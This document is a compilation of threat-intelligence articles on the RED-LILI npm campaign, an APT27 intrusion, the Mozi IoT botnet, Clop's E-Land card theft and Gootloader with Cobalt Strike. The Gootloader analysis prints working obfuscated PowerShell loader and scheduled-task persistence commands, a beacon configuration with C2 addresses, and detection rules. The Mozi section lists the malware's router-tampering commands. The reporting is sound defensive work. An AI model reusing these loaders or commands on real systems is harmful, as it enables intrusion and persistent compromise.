# A Large-Scale Supply Chain Attack Distributed Over 800 Malicious NPM Packages A threat actor dubbed "RED-LILI" has been linked to an ongoing large-scale supply chain attack campaign targeting the NPM package repository by publishing nearly 800 malicious modules. "Customarily, attackers use an anonymous disposable NPM account from which they launch their attacks," Israeli security company Checkmarx said. "As it seems this time, the attacker has fully-automated the process of NPM account creation and has opened dedicated accounts, one per package, making his new malicious packages batch harder to spot." The findings build on recent reports from JFrog and Sonatype, both of which detailed hundreds of NPM packages that leverage techniques like dependency confusion and typosquatting to target Azure, Uber, and Airbnb developers. According to a detailed analysis of RED-LILI's modus operandi, earliest evidence of anomalous activity is said to have occurred on February 23, 2022, with the cluster of malicious packages published in "bursts" over a span of a week. Specifically, the automation process for uploading the rogue libraries to NPM, which Checkmarx described as a "factory," involves using a combination of custom Python code and web testing tools like Selenium to simulate user actions required for replicating the user creation process in the registry. To get past the one-time password (OTP) verification barrier put in place by NPM, the attacker leverages an open-source tool called Interactsh to extract the OTP sent by NPM servers to the email address provided during sign-up, effectively allowing the account creation request to succeed. Armed with this brand new NPM user account, the threat actor then proceeds to create and publish a malicious package, only one per account, in an automated fashion, but not before generating an access token so as to publish the package without requiring an email OTP challenge. "As supply chain attackers improve their skills and make life harder for their defenders, this attack marks another milestone in their progress," the researchers said. "By distributing the packages across multiple usernames, the attacker makes it harder for defenders to correlate [and] take them all down with 'one stroke.' By that, of course, making the chances of infection higher."
# APT27 – One Year To Exfiltrate Them All: Intrusion In-Depth Analysis **Context** During 2022, a company discovered that one of their equipments was communicating with a known command and control server. As a result, the company decided to contact CERT Intrinsec for help to handle the security breach and manage the crisis. CERT Intrinsec gathered information about malicious activities that were discovered on the victim’s information system and past incidents. Our in-depth analysis led us to conclude that an advanced persistent threat dubbed APT27 (a.k.a LuckyMouse, EmissaryPanda) actually compromised the company’s internal network by exploiting a public-facing application. Our analysis showed that the threat actor managed to compromise several different domains and to gain persistence on many equipments while trying to hide in plain sight. As investigations went on, we observed tactics, techniques, and procedures that had already been documented in papers, but we discovered new ones as well. CERT Intrinsec wanted to share with the community fresh and actionable threat intelligence related to APT27. This report presents a timeline of actions taken by the attackers and the tactics, techniques, and procedures seen during our incident response. It provides a MITRE ATT&CK diagram and several recommendations to follow if you come across such incidents and to prevent them. **CERT Intrinsec presentation** CERT Intrinsec is a private French incident response team dealing with 50 to 100 major incidents per year and works to help its customers recover from cyber-attacks and strengthen their security. Since 2017, CERT Intrinsec has responded to hundreds of security breaches involving companies and public entities. The majority of those incidents are related to cybercriminality and ransomware attacks with financial objectives; hence, Intrinsec follows those groups' activities and generates comprehensive intelligence from the field. ANSSI (French National Security Agency) granted CERT Intrinsec PRIS (State-Certified Security Incident Response Service Providers) certification. The latter testifies that CERT Intrinsec meets specific incident response requirements, using dedicated procedures, qualified people, and appropriate infrastructures. Should you need our expertise, Intrinsec provides Incident Response & Crisis services, Threat Intelligence services & data, Detection services (SOC/MDR/XDR), supported by a large set of other services (pentests & audits, consulting, etc.). **APT27 Presentation** APT27 (a.k.a LuckyMouse, EmissaryPanda, Iron Tiger, or Mustang Panda) is a supposed nation-state cyber threat actor linked to the RPC government. Since at least 2010, the group has been reported targeting numerous public organizations as well as private companies. Known APT27 sectors of interest are: Defense contractors, Aerospace, Telecommunication, Energy, Manufacturing, Technology, Education, and government data (embassies have been reported targeted). The group is also well known for exploiting internet-facing applications to gain access within the victim’s networks. Known targeted applications were MySQL, Microsoft SharePoint (CVE-2019-0604 RCE), Apache Zookeeper, and more recently Microsoft Exchange servers. In addition, the group is also known to rely on the HyperBRO malware, a Remote Access Trojan (RAT). Capabilities description and decryption tool are available on behalf of the report. **Operation’s timeline** It is important to look at the timeline of malicious activities. The first activity discovered was the exploitation of a Microsoft Exchange server using ProxyLogon vulnerabilities chain and the domains discovery performed from this server. APT27’s operators then compromised several domains in a few months, dumping credentials and gathering technical data about the victim’s information system. Finally, they started exfiltrating data in archives using different means. Gigabytes of data were exfiltrated in 17 days. Attackers tried to hide their activities using many defense evasion techniques that we present in this report. **APT27 Techniques, Tactics, and Procedures** | Tactic ID | Technique ID | Technique Name | |-------------------|-------------------|-----------------------------------------------------| | Initial Access | T1190 | Exploit Public-Facing Application | Initial compromise is the adversaries' actions performed to gain access to their target’s organizations. It can be performed by sending spear-phishing emails or exploiting vulnerable internet-facing applications to then move within the network. During CERT Intrinsec investigations, we found that on March 4th, 2021, APT27 exploited ProxyLogon vulnerabilities chain affecting Microsoft Exchange server to gain initial access to the targeted organization’s network. As a reminder, ProxyLogon related Microsoft advisory was initially published by Microsoft on March 2nd, 2021. First known information related to those CVEs came back from December 2020, when DEVCORE Team discovered both CVE-2021-26855 and CVE-2021-27065. The exploitation of these two vulnerabilities leads to remote code execution with SYSTEM permissions, allowing attackers to drop webshells, for instance. **Execution** | Tactic ID | Technique ID | Technique Name | |-------------------|-------------------|-----------------------------------------------------| | Execution | T1059.001 | Command and Scripting Interpreter: PowerShell | | Execution | T1059.003 | Command and Scripting Interpreter: Windows Command Shell | | Execution | T1047 | Windows Management Instrumentation | Adversaries were wrapping their commands through calls to cmd.exe /Q /c command line. In addition, all results were stored in the ADMIN$ administrative share, in a file of type __[UNIX_EPOCH_DATETIME]. This is likely the impacket’s behavior, and hence, Intrinsec CERT assumes that adversaries used that framework during their operation. **Persistence** | Tactic | Technique ID | Technique Name | |-------------------|-------------------|-----------------------------------------------------| | Persistence | T1569.002 | Create or Modify System Process: Windows Service | | Persistence | T1547.001 | Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder | | Persistence | T1112 | Modify Registry | | Persistence | T1078.002 | Valid Accounts: Domain Accounts | Typical next step after a successful initial intrusion is to ensure persistence within the target’s network and ensure that attackers will not be kicked out easily. It is commonly achieved by deploying webshells, Remote Access Trojans, or Remote Administration Tools, such as AnyDesk / TeamViewer. The first payload found by CERT Intrinsec was the HyperBRO Remote Access Trojan. HyperBRO malware is a closed-source application typical of APT27 threat group’s activities. HyperBRO is a fully featured Remote Access Trojan (RAT) and is used by APT27 operators to (not exhaustive): Bypass UAC, Execute local & remote commands, Steal data, Keylogging, Capture keyboard, Edit registry, Manage files, processes, services. **HyperBRO Extractor** CERT Intrinsec made a tool to extract HyperBro configuration from Stage 2 samples. This program is based on the work done on project HyperBroExtractor by HVS-Consulting. This tool is able to decrypt Stage 2 (thumb.dat), decompress and extract the actual HyperBro PE file (Stage 3), and parse the configuration it embeds. HyperExtractor will try to automatically brute-force the 1-byte key and decrypt Stage 2, then it will decompress the LZNT1 compressed Stage 3 and extract the configuration. **Discovery & Lateral Movement** | Tactic ID | Technique ID | Technique Name | |--------------------------|-------------------|-----------------------------------------------------| | Discovery | T1087.002 | Account Discovery: Domain Account | | Discovery | T1087.003 | Account Discovery: Email Account | | Discovery | T1087.001 | Account Discovery: Local Account | | Discovery | T1482 | Domain Trust Discovery | | Discovery | T1083 | File and Service Discovery | | Discovery | T1146 | Network Service Discovery | | Discovery | T1135 | Network Share Discovery | | Discovery | T1018 | Remote System Discovery | | Discovery | T1082 | System Information Discovery | | Discovery | T1057 | Process Discovery | | Lateral Movement | T1570 | Lateral Tool Transfer | | Lateral Movement | T1021.006 | Remote Services: SMB Windows Admin Shares | | Lateral Movement | T1021.001 | Remote Services: Remote Desktop Protocol | Once access was gained on the Microsoft Exchange server, adversaries managed to perform an initial reconnaissance of the network and domain characteristics, such as hosts, account, policy enumeration. This operation was performed by executing a script that lists all domains in the selected forest, related domain controllers, computer names and versions, and finally a list of domain users. **Credential Access** | Tactic ID | Technique ID | Technique Name | |--------------------------|-------------------|-----------------------------------------------------| | Credential Access | T1003.001 | OS Credential Dumping: LSASS Memory | | Credential Access | T1003.003 | OS Credential Dumping: NTDS | Adversaries managed to elevate their privileges to the domain administrator level within the victim’s network and systematically compromised domain controllers with HyperBro malware. In order to stealth authentication materials on compromised hosts, adversaries relied on the mimikatz tool. However, they tried to stay stealthy and used the Sysinternals procdump tool, renamed in error.log to bypass Windows Defender detection and dump lsass process memory. **Defense Evasion** | Tactic ID | Technique ID | Technique Name | |--------------|-------------------|-----------------------------------------------------| | Defense | T1574.002 | Hijack Execution Flow: DLL Side Loading | | Defense | T1070.004 | Indicator Removal on Host: File Deletion | | Defense | T1036.004 | Masquerading: Masquerade Task or Service | | Defense | T1036.005 | Masquerading: Match Legitimate Name or Location | | Defense | T1562.001 | Impair Defenses: Disable or Modify Tools | | Defense | T1548.002 | Abuse Elevation Control Mechanism: Bypass User Account Control | To prevent detection from Microsoft Windows Defender antivirus, APT27 operators modified system settings to add exclusion paths to the Defender’s configuration and remove them once their operations were done. **Command and Control** | Tactic ID | Technique ID | Technique Name | |------------------------------|-------------------|-----------------------------------------------------| | Command and Control | T1090.001 | Proxy: Internal Proxy | | Command and Control | T1071.001 | Application Layer Protocol: Web Protocols | APT27 operators mainly used HyperBro C2 feature to send commands to infected hosts, using POST request /api/v2/ajax and user-agent Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.116 Safari/537.36. CERT Intrinsec also discovered a second application used to expose the targeted organization’s internal network to adversaries. **Data Collection** | Tactic ID | Technique ID | Technique Name | |---------------|-------------------|-----------------------------------------------------| | Collection | T1560.001 | Archive Collected Data: Archive via Utility | | Collection | T1114.001 | Email Collection: Local Email collection | | Collection | T1074.001 | Data Staged: Local Data Staging | | Collection | T1074.002 | Data Staged: Remote Data Staging | | Collection | T1005 | Data from Local System | | Collection | T1038 | Data from Network Shared Drive | Once APT27 operators have stolen credentials, they started the collection process by checking the size and usage of directories. **Exfiltration** | Tactic ID | Technique ID | Technique Name | |----------------|-------------------|-----------------------------------------------------| | Exfiltration | T1071.001 | Application Layer Protocol: Web Protocols | Attackers used different methods to exfiltrate data. First, archives containing stolen data were moved to the Exchange server, in the Exchange folder C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\Current\themes\resources, an easy way to exfiltrate data as this server had direct access to the Internet. These RAR archives were renamed with a .png file extension to hide in plain sight and try to avoid detection. **Lessons Learned** To prevent these types of attacks, CERT Intrinsec recommends monitoring network and endpoint activities. Indeed, supervising network equipment allows tracking down malicious activities performed by advanced persistent threats, including command and control communications and exfiltration. Depending on your situation: XDR/MDR approaches combined with SOC and proper threat intelligence. Ensuring proper log retention and storage is a good way to improve detection of malicious behavior. Handling network, Active Directory hardening, especially regarding trusts, and least privilege principle is very important to slow down attackers in the event of an intrusion. When compromising servers, particularly domain controllers, operators are used to execute commands to collect credentials or to dump NTDS database. Very useful information sources are available on systems and need to be monitored to spot attackers’ actions. These sources are Sysmon, which allows logging various events helping detection, and Microsoft Protection Logs where many evidences were found during the investigation. As explained previously, adversaries can take advantage of a vulnerable exposed server to enter the corporate network. That shows the importance of keeping public-facing equipment up-to-date and managing vulnerabilities.
# How to Proactively Defend Against Mozi IoT Botnet Mozi is a peer-to-peer (P2P) botnet that uses a BitTorrent-like network to infect IoT devices such as network gateways and digital video recorders (DVRs). It works by exploiting weak telnet passwords and nearly a dozen unpatched IoT vulnerabilities. It has been used to conduct distributed denial-of-service (DDoS) attacks, data exfiltration, and command or payload execution. While the botnet itself is not new, Microsoft’s IoT security researchers recently discovered that Mozi has evolved to achieve persistence on network gateways manufactured by Netgear, Huawei, and ZTE. It does this using clever persistence techniques that are specifically adapted to each gateway’s particular architecture. Network gateways are a particularly juicy target for adversaries because they are ideal as initial access points to corporate networks. Adversaries can search the internet for vulnerable devices via scanning tools like Shodan, infect them, perform reconnaissance, and then move laterally to compromise higher value targets—including information systems and critical industrial control system (ICS) devices in operational technology (OT) networks. By infecting routers, they can perform man-in-the-middle (MITM) attacks—via HTTP hijacking and DNS spoofing—to compromise endpoints and deploy ransomware or cause safety incidents in OT facilities. ## Guidance: Proactive Defense Businesses and individuals using impacted network gateways (Netgear, Huawei, and ZTE) should take the following steps immediately to ensure they are resistant to the attacks described: 1. Ensure all passwords used on the device are created using strong password best practices. 2. Ensure devices are patched and up-to-date. Doing so will reduce the attack surfaces leveraged by the botnet and prevent attackers from getting into a position where they can use the newly discovered persistence and other exploit techniques. The intelligence of Microsoft Defender products, including Microsoft 365 Defender, Azure Sentinel, and Azure Defender for IoT, provides protection from this malware and is continuously updated with the latest threat intelligence as the threat landscape continues to evolve. ## Technical Description of New Persistence Capabilities Apart from its known extensive P2P and DDoS abilities, we have recently observed several new and unique capabilities of the Mozi botnet. ### Achieving Privileged Persistence A specific check is conducted for the existence of the `/overlay` folder, and whether the malware does not have write permissions to the folder `/etc`. In this case, it will try to exploit CVE-2015-1328. Successful exploitation of the vulnerability will grant the malware access to the following folders: - `/etc/rc.d` - `/etc/init.d` Then the following actions are taken: - It places the script file named `S95Baby.sh` in these folders. - The script runs the files `/usr/networks` or `/user/networktmp`. These are copies of the executable. - It adds the script to `/etc/rcS.d` and `/etc/rc.local` in case it lacks privileges. ### ZTE Devices A specific check is conducted for the existence of the `/usr/local/ct` folder; this serves as an indicator of the device being a ZTE modem/router device. The following actions are taken: - It copies its other instance (`/usr/networks`) to `/usr/local/ct/ctadmin0`; this provides persistency for the malware. - It deletes the file `/home/httpd/web_shell_cmd.gch` to prevent future attacks. - It executes commands to disable Tr-069 and its ability to connect to the auto-configuration server (ACS). ### Huawei Devices Execution of the following commands changes the password and disables the management server for Huawei modem/router devices: - `cfgtool set /mnt/jffs2/hw_ctree.xml` - `InternetGatewayDevice.ManagementServer URL http://127.0.0.1` - `cfgtool set /mnt/jffs2/hw_ctree.xml` - `InternetGatewayDevice.ManagementServer ConnectionRequestPassword acsMozi` To provide an additional level of persistence, it also creates the following files if needed and appends an instruction to run its copy from `/usr/networks`: - `/mnt/jffs2/Equip.sh` - `/mnt/jffs2/wifi.sh` - `/mnt/jffs2/WifiPerformance.sh` ### Preventing Remote Access The malware blocks the following TCP ports: - 23—Telnet - 2323—Telnet alternate port - 7547—Tr-069 port - 35000—Tr-069 port on Netgear devices - 50023—Management port on Huawei devices - 58000—Unknown usage These ports are used to gain remote access to the device. Shutting them increases the malware’s chances of survival. ### Script Infector It scans for `.sh` files in the filesystem, excluding the following paths: - `/tmp` - `/dev` - `/var` - `/lib` - `/haha` - `/proc` - `/sys` It also appends a line to each file, instructing the script to run a copy of the malware from `/usr/networks`. ## Traffic Injection and DNS Spoofing Capabilities The malware receives commands from its distributed hash table (DHT) network. The commands are received and stored in a file, of which parts are encrypted. This module works only on devices capable of IPv4 forwarding. It checks whether `/proc/sys/net/ipv4/ip_forward` is set to 1; such positive validation is characteristic of routers and gateways. This module works on ports UDP 53 (DNS) and TCP 80 (HTTP). ### Configuration Commands Apart from the previously documented commands, we also discovered these commands: - `[hi]` – Presence of the command indicates it needs to use the MiTM module. - `[set]` – Contains encrypted portion which describes how to use the MiTM module. | Command | Description | |---------|-------------| | `[ss]` | Bot role | | `[ssx]` | Enable/disable tag [ss] | | `[cpu]` | CPU architecture | | `[cpux]` | Enable/disable tag [cpu] | | `[nd]` | New DHT node | | `[hp]` | DHT node hash prefix | | `[atk]` | DDoS attack type | | `[ver]` | Value in V section in DHT protocol | | `[sv]` | Update config | | `[ud]` | Update bot | | `[dr]` | Download and execute payload from the specified URL | | `[rn]` | Execute specified command | | `[dip]` | ip:port to download Mozi bot | | `[idp]` | Report bot | | `[count]` | URL that used to report bot | ### DNS Spoofing Mozi receives a simple list of DNS names which are then spoofed. Its structure is as follows: `<DNS to spoof>:<IP to spoof>` Each DNS request is answered with the spoofed IP. This is an efficient technique to redirect traffic to the attackers’ infrastructure. ### HTTP Session Hijacking This part of the MITM functionality is responsible for hijacking HTTP sessions. Not every HTTP request is processed. There are several conditions for it to be qualified for hijacking, most of which are meant to restrict the module’s “level of noise” to lower the chances of it being discovered by network defenders. The following are some of the rules: - It works only for HTTP GET requests. - A random number in the configuration states how many queries it would inject. - Some domains are ignored to avoid interference with normal operation or detection by security countermeasures. - It only spoofs external traffic; HTTP requests inside the LAN are ignored. - A test is conducted to validate that the URL doesn’t contain the string “veri=20190909.” - It returns a random HTTP response derived from a predefined list of responses. ## Protecting from Mozi Malware It is important to note that Microsoft Security solutions have already been updated to protect, detect, and respond to Mozi and its enhanced capabilities. Customers can use the network device discovery capabilities found in Microsoft Defender for Endpoint to discover impacted internet gateways on their IT networks and run vulnerability assessments. Additionally, the agentless network-layer capabilities of Azure Defender for IoT can be used to perform continuous asset discovery, vulnerability management, and threat detection for IoT and OT devices on their OT networks. Defender for IoT is also tightly integrated with Azure Sentinel, which provides a bird’s eye view across your entire enterprise—leveraging AI and automated playbooks to detect and respond to multi-stage attacks that often cross IT and OT boundaries. While we offer many solutions, it remains critical that each of the recommendations in the “Guidance: Proactive defense” section be implemented on the impacted internet gateways to prevent them from becoming a vector of attack.
# Ransomware Gang Says They Stole 2 Million Credit Cards from E-Land Clop ransomware is claiming to have stolen 2 million credit cards from E-Land Retail over a one-year period ending with last month's ransomware attack. E-Land Retail, a subsidiary of E-Land Global, operates numerous retail clothing stores, including New Core and NC Department Store. Last month, E-Land Retail had to shut down 23 NC Department Store and New Core locations after suffering a CLOP ransomware attack. At the time of the attack, E-Land Retail stated that sensitive customer data was safe as it was encrypted on another server. "Although this ransomware attack caused some damage to the company's network and system, customer information and sensitive data are encrypted on a separate server. It is in a safe state because it is managed," E-Land Retail CEO Chang-Hyun Seok disclosed in a notice on their website. However, in an interview with BleepingComputer, the CLOP ransomware operators claimed to have breached E-Land over a year ago and have been quietly stealing credit cards using POS malware installed on the network. "Over a year ago, we hacked their network, everything is as usual. We thought what to do, installed POS malware and left it for a year. Before the lock, the cards were collected and deciphered; for a whole year the company did not suspect and did nothing," the CLOP gang told BleepingComputer. Using the installed POS malware, CLOP told BleepingComputer that they stole the Track 2 data for 2 million credit cards over the past year. POS malware is used to scan the memory of point-of-sale (POS) terminals as credit card transactions occur. When credit card data is detected, the malware copies the credit card information as Track 1 or Track 2 data and transmits it back to the threat actor's server. The stolen credit cards that CLOP claims to have stolen are in the form of Track 2 data, which includes a credit card number, the expiration date, and other information. It does not, though, contain a credit card's CVV code, so threat actors can only use it to create fake credit cards for in-store purchases. CLOP also told BleepingComputer that they targeted approximately 90k IP addresses but are unsure as to how many were actually encrypted. BleepingComputer has made repeated attempts to contact E-Land Global and E-Land Retail but have not received a reply to our emails.
# THE GOOT CAUSE ## Gootloader and Cobalt Strike Malware Analysis ### Analyzing the First-Stage JScript The first stage of Gootloader on the endpoint is a JScript file extracted from a ZIP file and intended to execute via `wscript.exe`. While these JScript files have been a common Gootloader entry point over the last year, the scripts changed in recent months to masquerade as legitimate jQuery library files. To achieve this masquerade, the adversary creates scripts by mixing malicious Gootloader code with benign jQuery library code, producing a file around 296KB in size. You can clean up the initial script into a deobfuscated script using a tool published by HP’s Threat Research team. Once the script is decoded, you can see the domains contacted by the script to retrieve the next stage. If you have endpoint technologies that use AMSI telemetry, you can also spot the decoded script at runtime. This stage of Gootloader queries the value of the `USERDNSDOMAIN` environment variable. This is a simple check to determine whether the affected host is part of an Active Directory domain. This is why you won’t see a lot of sandbox reports with full Gootloader chains of execution, since the sandboxes don’t have infrastructure needed for Active Directory-joined hosts. This also means that the malware specifically targets business or enterprise victims that use Active Directory. On systems where the check passes, Gootloader pulls down an additional JScript stage that executes in the same `wscript.exe` process. ### Analyzing the Second-Stage JScript This stage of JScript contains two Windows DLL files that are encoded into string form. The first is encoded as a hex string that is further scrambled using substitution with a custom alphabet. The second is only encoded as a hex string. During execution, both of these strings are split into chunks and then written into the Windows Registry under the affected user’s `HKEY_CURRENT_USER\SOFTWARE\Microsoft\Phone` key. The first DLL gets written within a key that bears the user’s name, and the second is written within a key that has the user’s name with a zero appended. Example: ``` HKEY_CURRENT_USER\SOFTWARE\Microsoft\Phone\bruce.wayne\1-9999 HKEY_CURRENT_USER\SOFTWARE\Microsoft\Phone\bruce.wayne0\1-500 ``` ### The Persistent PowerShell Code Once these payloads are distributed into registry keys, the script executes two PowerShell commands. The first retrieves the .NET DLL from the Windows Registry, reflectively loads it, and executes a function within the DLL named “Test()”. ``` 614649211;sleep -s 83;$opj=Get-ItemProperty -path (“hk”+”cu:\sof”+”tw”+”are\mic”+”ros”+”oft\Phone\”+[Environment]::(“use”+”rn”+”ame”)+”0”);for ($uo=0;$uo -le 760;$uo++) {Try{$mpd+=$opj.$uo}Catch{}};$uo=0;while($true){$uo++;$ko=[math]::(“sq”+”rt”)($uo);if($ko -eq 1000){break}}$yl=$mpd.replace(“#”,$ko);$kjb=[byte[]]::(“ne”+”w”)($yl.Length/2);for($uo=0;$uo -lt $yl.Length;$uo+=2){$kjb[$uo/2]=[convert]::(“ToB”+”yte”)($yl.Substring($uo,2),(2*8))}[reflection.assembly]::(“Lo”+”ad”)($kjb);[Open]::(“Te”+”st”);611898544; ``` The second PowerShell command establishes persistence via a scheduled task using a combination of cmdlets. ``` 6876813;$a=”NgAxADQANgA0ADkAMgAxADEAOwBzAGwAZQBlAHAAIAAtAHMAIAA4ADMAOwAkAG8AcABqAD0ARwBlAHQA LQBJAHQAZQBtAFAAcgBvAHAAZQByAHQAeQAgAC0AcABhAHQAaAAgACgAIgBoAGsAIgArACIAYwB1ADoAXABzAG8AZgAi ACsAIgB0AHcAIgArACIAYQByAGUAXABtAGkAYwAiACsAIgByAG8AcwAiACsAIgBvAGYAdABcAFAAaABvAG4AZQBcACIA KwBbAEUAbgB2AGkAcgBvAG4AbQBlAG4AdABdADoAOgAoACIAdQBzAGUAIgArACIAcgBuACIAKwAiAGEAbQBlACIAKQAr ACIAMAAiACkA OwBmAG8AcgAgACgAJAB1AG8APQAwADsAJAB1AG8AIAAtAGwAZQAgADcANgAwADsAJAB1AG8AKwArACkA ewBUAHIAeQB7ACQAbQBwAGQAKwA9ACQAbwBwAGoALgAkAHUAbwB9AEMAYQB0AGMAaAB7AH0AfQA7ACQAdQBvAD0AMAA7 AHcAaABpAGwAZQAoACQAdAByAHUAZQUpAHsAJAB1AG8AKwArADsAJABrAG8APQBbAG0AYQB0AGgAXQA6ADoAKAAiAHMA cQAiACsAIgByAHQAIgApACgAJAB1AG8AKQA7AGkAZgAoACQAawBvACAALQBlAHEAIAAxADAAMAAwACkAewBiAHIAZQBh AGsAfQB9ACQAeQBsAD0AJABtAHAAZAAuAHIAZQBwAGwAYQBjAGUAKAAiACMAIgAsACQAawBvACkAOwAkAGsAagBiAD0A WwBiAHkAdABlAFsAXQBdADoAOgAoACIAbgBlACIAKwAiAHcAIgApACgAJAB5AGwALgBMAGUAbgBnAHQAaAAvADIAKQA7 AGYAbwByACgAJAB1AG8APQAwADsAJAB1AG8AIAAtAGwAdAAgACQAeQBsAC4ATABlAG4AZwB0AGgAOwAkAHUAbwArAD0A MgApAHsAJABrAGoAYgBbACQAdQBvAC8AMgBdAD0AWwBjAG8AbgB2AGUAcgB0AF0AOgA6ACgAIgBUAG8AQgAiACsAIgB5 AHQAZQAiACkAKAAkAHkAbAAuAFMAdQBiAHMAdAByAGkAbgBnACgAJAB1AG8ALAAyACkALAAoADIAKgA4ACkAKQB9AFsA cgBlAGYAbABlAGMAdABpAG8AbgAuAGEAcwBzAGUAbQBiAGwAeQBdADoAOgAoACIATABvACIAKwAiAGEAZAAiACkAKAAk AGsAagBiACkAOwBbAE8AcABlAG4AXQA6ADoAKAAiAFQAZQAiACsAIgBzAHQAIgApACgAKQA7ADYAMQAxADgAOQA4ADUA NAA0ADsA”;$u=$env:USERNAME;Register-ScheduledTask $u -In (New-ScheduledTask -Ac (New-ScheduledTaskAction -E ([Diagnostics.Process]::GetCurrentProcess().MainModule.FileName) -Ar (“-w h -e “+$a)) -Tr (New-ScheduledTaskTrigger -AtL -U $u));306878516; ``` At the next logon, the scheduled task executes, reflectively loading the .NET DLL module into memory and calling its “Test()” function. At this point, the endpoint telemetry shows the instance of PowerShell executing “Test()” establishing network connections but doesn’t show much more detail. To find details on the next stage, you have to dive deeper into the loaded .NET DLL. To do this, you can obtain the .NET DLL module from its location in the Windows Registry and decompile it using tools like ILSpy or DNSpy. ### Analyzing the .NET DLL Component In the .NET DLL module, the adversary implements code to pull an encoded payload from `HKEY_CURRENT_USER\SOFTWARE\Microsoft\Phone\bruce.wayne\1-9999`, decodes it into an executable DLL, and then executes its contents. The decoding part is fairly straightforward, as the DLL module reads the payload from the registry and uses text replacement operations to remove obfuscation and convert data into a hexadecimal string. Using ILSpy, we could decompile the DLL into its original source to examine. Once the code gets converted to the hexadecimal string, it gets converted again into a byte array to become usable. This scheme affords the adversaries two layers of obfuscation to prevent security controls from detecting payloads stored in the Windows Registry. This type of obfuscation, though easy to remove during analysis, is enough to stump some tools. Finally, the .NET DLL executes the byte array containing the beacon content. It does this using a lot of code borrowed from an open-source project: `https://github.com/dretax/DynamicDllLoader`. The .NET code loads the decoded DLL into memory using `LoadLibrary()`, finds the DLL’s entry point using `GetProcAddress()`, and then executes it. After examining the DynamicDllLoader project code next to this Gootloader component, we realized that almost all the code outside the deobfuscation algorithm came directly from the DynamicDllLoader project. *Malware analyst’s note: If you want to try analysis on this sample at home, you can use DNSpy or ILSpy to check out this sample.* ### Parsing the Cobalt Strike Beacon Configuration The final payload executes in the same PowerShell process loading the .NET DLL. In incidents across three different customer environments, we observed Cobalt Strike beacons deploying to victim systems, all communicating with the same command and control (C2) address. Pivoting on the C2 IP address we observed in VirusTotal, we obtained a beacon DLL for analysis. Using SentinelOne’s CobaltStrikeParser tool, we found the beacon had this configuration: ``` BeaconType - HTTPS Port - 443 SleepTime - 60000 MaxGetSize - 1048576 Jitter - 0 MaxDNS - Not Found PublicKey_MD5 - defb5d95ce99e1ebbf421a1a38d9cb64 C2Server - 146.70.78[.]43,/fwlink UserAgent - Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; MATM) HttpPostUri - /submit.php Malleable_C2_Instructions - Empty HttpGet_Metadata - Metadata base64 header “Cookie” HttpPost_Metadata - ConstHeaders Content-Type: application/octet-stream SessionId parameter “id” Output print PipeName - Not Found DNS_Idle - Not Found DNS_Sleep - Not Found SSH_Host - Not Found SSH_Port - Not Found SSH_Username - Not Found SSH_Password_Plaintext - Not Found SSH_Password_Pubkey - Not Found SSH_Banner - HttpGet_Verb - GET HttpPost_Verb - POST HttpPostChunk - 0 Spawnto_x86 - %windir%\syswow64\rundll32.exe Spawnto_x64 - %windir%\sysnative\rundll32.exe CryptoScheme - 0 Proxy_Config - Not Found Proxy_User - Not Found Proxy_Password - Not Found Proxy_Behavior - Use IE settings Watermark_Hash - Not Found Watermark - 1580103824 bStageCleanup - False bCFGCaution - False KillDate - 0 bProcInject_StartRWX - True bProcInject_UseRWX - True bProcInject_MinAllocSize - 0 ProcInject_PrependAppend_x86 - Empty ProcInject_PrependAppend_x64 - Empty ProcInject_Execute - CreateThread SetThreadContext CreateRemoteThread RtlCreateUserThread ProcInject_AllocationMethod - VirtualAllocEx bUsesCookies - True HostHeader - headersToRemove - Not Found DNS_Beaconing - Not Found DNS_get_TypeA - Not Found DNS_get_TypeAAAA - Not Found DNS_get_TypeTXT - Not Found DNS_put_metadata - Not Found DNS_put_output - Not Found DNS_resolver - Not Found DNS_strategy - round-robin DNS_strategy_rotate_seconds - -1 DNS_strategy_fail_x - -1 DNS_strategy_fail_seconds - -1 Retry_Max_Attempts - Not Found Retry_Increase_Attempts - Not Found Retry_Duration - Not Found ``` The beacon configuration presents an extra detection idea. The “spawnto” properties of the configuration specify `rundll32.exe` will execute from the beacon as a target to inject into. In this particular configuration, `rundll32.exe` won’t have command-line options. This makes it suspicious because `rundll32.exe` commands usually contain the name of a DLL file to execute. In this case, the beacon executes in a PowerShell process. The extra detection analytic would be `powershell.exe` spawning `rundll32.exe` with no command-line arguments. ### Indicators While the behavioral detection opportunities below provide the most durable method for detecting Gootloader and follow-on payloads, we are sharing select indicators from our analysis to assist others in their investigations. - **Cobalt Strike Server**: 146.70.78[.]43 - **Cobalt Strike Beacon**: 3d768691d5cb4ae8943d8e57ea83cac1 - **DynamicDllLoader .NET DLL**: 244f990d544f1791f0bca6eea140e5d6 - **Script Stage 2 (Writing Beacon to Registry)**: 26480fcc9cf3837629111995b4838137 - **Gootloader C2**: karbonaudit[.]cf - **Gootloader C2**: kakiosk.adsparkdev[.]com - **Gootloader C2**: junk-bros[.]com - **Example Gootloader Script Name**: sample_gsa_contractor_teaming_agreement 85878.js - **Gootloader Script**: 261fd5425a60b044c5f9a584473b2a10 Red Canary recommends detecting Gootloader activity to catch this threat early in the intrusion chain. See below for opportunities to identify Gootloader and possible follow-on activity in your environment. ### Detection Opportunities - **Windows Script Host (`wscript.exe`) Executing Content from a User’s AppData Folder**: This detection opportunity identifies the Windows Script Host, `wscript.exe`, executing a JS file from the user’s AppData folder. This works well to detect instances where a user has double-clicked into a Gootloader ZIP file and then double-clicked on the JS script to execute it. ``` process == (wscript.exe) && process_command_line_includes == appdata\*.js ``` - **PowerShell (`powershell.exe`) Performing a Reflective Load of a .NET Assembly**: This detection opportunity identifies PowerShell loading a .NET assembly into memory for execution using the System.Reflection capabilities of the .NET Framework. This detects PowerShell loading the .NET component of Gootloader, as well as multiple additional threats in the wild. ``` process == (powershell.exe) && process_command_line_includes == Reflection.Assembly AND Load AND byte[] ``` - **`rundll32.exe` with No Command-Line Arguments**: This detection opportunity identifies `rundll32.exe` executing with no command-line arguments as an injection target like we usually see for Cobalt Strike beacon injection. The beacon distributed by Gootloader in this instance used `rundll32.exe`, as do many other beacons found in the wild. ``` process == rundll32.exe && command_line_includes (“”)* && has_network_connection || has_child_process ``` *Note: “” indicates a blank command line.*
